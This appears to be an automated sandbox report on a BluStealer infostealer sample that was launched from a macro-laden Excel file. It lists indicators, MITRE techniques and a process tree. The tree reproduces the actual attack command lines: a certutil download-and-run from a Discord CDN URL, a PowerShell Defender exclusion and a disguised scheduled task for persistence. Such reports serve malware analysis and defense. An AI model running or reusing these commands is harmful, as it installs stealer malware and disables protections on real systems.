blustealer | b80d30b287b4ba5c153bac042a1a9eec6d746181b893717cbcb05ed3180d8d71

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Dqfmwyjfhy.exe.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	icanhazip.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4696 set thread context of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 3096 set thread context of 2040	3096	Dqfmwyjfhy.exe.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	AppLaunch.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4556	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4584	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1344	powershell.exe
1344	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3096	Dqfmwyjfhy.exe.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	2040	AppLaunch.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
4584	EXCEL.EXE
3096	Dqfmwyjfhy.exe.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 2568	4584	EXCEL.EXE	77
PID 4584 wrote to memory of 2568	4584	EXCEL.EXE	77
PID 2568 wrote to memory of 724	2568	cmd.exe	79
PID 2568 wrote to memory of 724	2568	cmd.exe	79
PID 2568 wrote to memory of 4696	2568	cmd.exe	80
PID 2568 wrote to memory of 4696	2568	cmd.exe	80
PID 2568 wrote to memory of 4696	2568	cmd.exe	80
PID 4696 wrote to memory of 1344	4696	Dqfmwyjfhy.exe.exe	81
PID 4696 wrote to memory of 1344	4696	Dqfmwyjfhy.exe.exe	81
PID 4696 wrote to memory of 1344	4696	Dqfmwyjfhy.exe.exe	81
PID 4696 wrote to memory of 4556	4696	Dqfmwyjfhy.exe.exe	83
PID 4696 wrote to memory of 4556	4696	Dqfmwyjfhy.exe.exe	83
PID 4696 wrote to memory of 4556	4696	Dqfmwyjfhy.exe.exe	83
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 4696 wrote to memory of 3096	4696	Dqfmwyjfhy.exe.exe	85
PID 3096 wrote to memory of 2040	3096	Dqfmwyjfhy.exe.exe	86
PID 3096 wrote to memory of 2040	3096	Dqfmwyjfhy.exe.exe	86
PID 3096 wrote to memory of 2040	3096	Dqfmwyjfhy.exe.exe	86
PID 3096 wrote to memory of 2040	3096	Dqfmwyjfhy.exe.exe	86
PID 3096 wrote to memory of 2040	3096	Dqfmwyjfhy.exe.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\NewXOrder.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c certutil.exe -urlcache -split -f "https://cdn.discordapp.com/attachments/1006822561709047861/1008583809245126708/New_Order.exe" Dqfmwyjfhy.exe.exe && Dqfmwyjfhy.exe.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f "https://cdn.discordapp.com/attachments/1006822561709047861/1008583809245126708/New_Order.exe" Dqfmwyjfhy.exe.exe
    3⤵
    PID:724
- - C:\Users\Admin\Documents\Dqfmwyjfhy.exe.exe
    Dqfmwyjfhy.exe.exe
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\RAUXoDciVwKR.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1344
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RAUXoDciVwKR" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAE8.tmp"
      4⤵
      Creates scheduled task(s)
      PID:4556
  - - C:\Users\Admin\Documents\Dqfmwyjfhy.exe.exe
      "C:\Users\Admin\Documents\Dqfmwyjfhy.exe.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3096
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        5⤵
        Accesses Microsoft Outlook profiles
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery